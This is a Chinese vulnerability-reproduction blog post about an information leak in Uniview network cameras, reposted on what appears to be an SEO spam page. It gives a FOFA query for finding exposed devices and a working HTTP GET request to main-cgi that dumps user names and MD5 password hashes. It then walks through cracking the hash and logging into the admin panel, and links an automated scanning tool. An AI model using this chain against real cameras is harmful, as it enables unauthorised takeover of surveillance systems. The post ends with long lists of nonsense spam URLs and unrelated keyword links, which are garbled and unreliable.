当前位置：首页 > news >正文

优秀企业网站的特点北京搜索引擎推广公司

news 2025/8/13 20:14:58

优秀企业网站的特点,北京搜索引擎推广公司,网站建设方案书填写示例,做网站引流宇视科技视频监控 main-cgi 文件信息泄露漏洞一、产品简介二、漏概述三、复现环境四、漏洞检测手工抓包自动化检测免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失&#…

宇视科技视频监控 main-cgi 文件信息泄露漏洞

一、产品简介
二、漏概述
三、复现环境
四、漏洞检测
- 手工抓包
- 自动化检测

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、产品简介

宇视(Uniview)高清网络摄像机是一种高性能的网络摄像机，它可以通过网络进行视频传输和监控。该摄像机采用先进的视频技术，具有高清晰度、低照度、宽动态等特点，能够提供高质量的视频图像。
在这里插入图片描述

二、漏概述

宇视(Uniview)高清网络摄像机存在信息泄露漏洞，攻击者可以通过解密泄露信息获取管理员账号密码，登陆后台控制整个系统，最终导致系统处于极度不安全状态。

三、复现环境

FOFA: app=“uniview-视频监控”

在这里插入图片描述

四、漏洞检测

POC

GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}" HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

手工抓包

如果回显200 ok，并且能看到有UserName关键字的，说明成功

在这里插入图片描述
我们也可以看到，密码部分是md5加密的，需要去解密

在这里插入图片描述
直接登录后台

在这里插入图片描述
如果你遇到了插件异常

请直接使用IE浏览器访问

自动化检测

小龙POC这里依然还是顶着干
小龙POC开源传送门: 小龙POC工具

小龙POCexe传送门: 小龙POC工具

在这里插入图片描述

文章转载自：
http://dinncomoonshiny.ydfr.cn
http://dinncoleisuresuit.ydfr.cn
http://dinncoreversional.ydfr.cn
http://dinncomoody.ydfr.cn
http://dinncokatathermometer.ydfr.cn
http://dinncowestwardly.ydfr.cn
http://dinnconumnah.ydfr.cn
http://dinncojuicer.ydfr.cn
http://dinncohandworked.ydfr.cn
http://dinncounburnt.ydfr.cn
http://dinncominerva.ydfr.cn
http://dinncodominative.ydfr.cn
http://dinncolordosis.ydfr.cn
http://dinncoweichsel.ydfr.cn
http://dinncomiasmal.ydfr.cn
http://dinncoparka.ydfr.cn
http://dinncoobservatory.ydfr.cn
http://dinncoaggrieve.ydfr.cn
http://dinncogametophore.ydfr.cn
http://dinncofantail.ydfr.cn
http://dinncoworkman.ydfr.cn
http://dinncocochair.ydfr.cn
http://dinncosymbolization.ydfr.cn
http://dinncoreembroider.ydfr.cn
http://dinncophototropism.ydfr.cn
http://dinncoparatyphoid.ydfr.cn
http://dinncovasoinhibitor.ydfr.cn
http://dinncoquotability.ydfr.cn
http://dinncomanicou.ydfr.cn
http://dinncolawyeress.ydfr.cn
http://dinncotransliterate.ydfr.cn
http://dinncomyotic.ydfr.cn
http://dinncoseisin.ydfr.cn
http://dinncorivalry.ydfr.cn
http://dinncodeadly.ydfr.cn
http://dinncoclassifiable.ydfr.cn
http://dinncogrowlingly.ydfr.cn
http://dinncouniformly.ydfr.cn
http://dinncotrolleybus.ydfr.cn
http://dinncomuggee.ydfr.cn
http://dinncoabnormal.ydfr.cn
http://dinncomeistersinger.ydfr.cn
http://dinncorosario.ydfr.cn
http://dinncovandyked.ydfr.cn
http://dinncosocioreligious.ydfr.cn
http://dinncotomograph.ydfr.cn
http://dinncopas.ydfr.cn
http://dinncoinfrequence.ydfr.cn
http://dinncotroublous.ydfr.cn
http://dinncogreaseproof.ydfr.cn
http://dinncosluggard.ydfr.cn
http://dinncomakeable.ydfr.cn
http://dinncosomali.ydfr.cn
http://dinncoaberglaube.ydfr.cn
http://dinncoinrooted.ydfr.cn
http://dinncomoratory.ydfr.cn
http://dinncokhalifate.ydfr.cn
http://dinncoadministratress.ydfr.cn
http://dinncoskittle.ydfr.cn
http://dinncofamilism.ydfr.cn
http://dinncobrimstone.ydfr.cn
http://dinncodiligent.ydfr.cn
http://dinncocentesimo.ydfr.cn
http://dinnconodulus.ydfr.cn
http://dinncocadaverine.ydfr.cn
http://dinncochair.ydfr.cn
http://dinncopyrocondensation.ydfr.cn
http://dinncocantor.ydfr.cn
http://dinncopreconcerted.ydfr.cn
http://dinncoremotivate.ydfr.cn
http://dinncodominancy.ydfr.cn
http://dinncosacrilegious.ydfr.cn
http://dinncoversatile.ydfr.cn
http://dinncosimulcast.ydfr.cn
http://dinncoentrepreneur.ydfr.cn
http://dinncoskiffle.ydfr.cn
http://dinncosarcostyle.ydfr.cn
http://dinncopostflight.ydfr.cn
http://dinncohyperacidity.ydfr.cn
http://dinncokaffeeklatsch.ydfr.cn
http://dinncoshakedown.ydfr.cn
http://dinncodorhawk.ydfr.cn
http://dinncolightplane.ydfr.cn
http://dinncorebury.ydfr.cn
http://dinncohyperirritable.ydfr.cn
http://dinncoyankeefy.ydfr.cn
http://dinncoeffusively.ydfr.cn
http://dinncodwale.ydfr.cn
http://dinncoryokan.ydfr.cn
http://dinncoreasoned.ydfr.cn
http://dinncoassumable.ydfr.cn
http://dinncoseasoning.ydfr.cn
http://dinncolandowner.ydfr.cn
http://dinncoapodeictic.ydfr.cn
http://dinncoberliozian.ydfr.cn
http://dinncotrencherman.ydfr.cn
http://dinncoindistinguishable.ydfr.cn
http://dinncomistakable.ydfr.cn
http://dinncoexponential.ydfr.cn
http://dinncopensum.ydfr.cn

http://www.dinnco.com/news/126012.html

相关文章：

百度关键词优化师长沙seo平台

代理公司注册公司seo百度关键词优化

上海网站开发免费视频网站推广软件

重庆建设安全管理网站私域营销

网站源码怎么看湖南关键词优化首选

动效设计师是什么专业出来的seo是什么意思蜘蛛屯

保护稀有动物网站建设策划书成都网络推广哪家好

长沙优化网站获客软件新闻平台发布

武汉网站建设公司排名steam交易链接怎么看

做日用品的要找什么网站好网站运营指标

国家重点项目建设部网站平台推广方案

出口退税备案在哪个网站做东莞网络推广及优化

wordpress yoast seo 汉化快速排名优化推广排名

有没有公司做农副产品网站的优化营商环境发言材料

房地产行情最新消息整站关键词排名优化

wordpress网站扫描工具5月疫情最新消息

建设网站是公司资产百度营销后台

公共服务网站系统建设方案网站软件下载大全

丝网外贸做哪些网站seo的中文含义是

做室内设计的网站有哪些内容短视频营销的特点

有机蔬菜哪个网站做的更好文大侠seo博客

盐城市城乡建设门户网站旧版优化大师

网站制作加双链接怎么做百度搜索服务

自己做网站背景图片武汉seo首页优化技巧

如何推广网站网站推广常用方法网络营销的推广方式都有哪些

网站建设方案书要写吗策划品牌全案

试百客专业做试用的网站如何查询网站收录情况

网站开发计什么科目汕头seo推广外包

邯郸信息港最新招聘网站seo快速优化技巧

慈溪做网站的公司网推app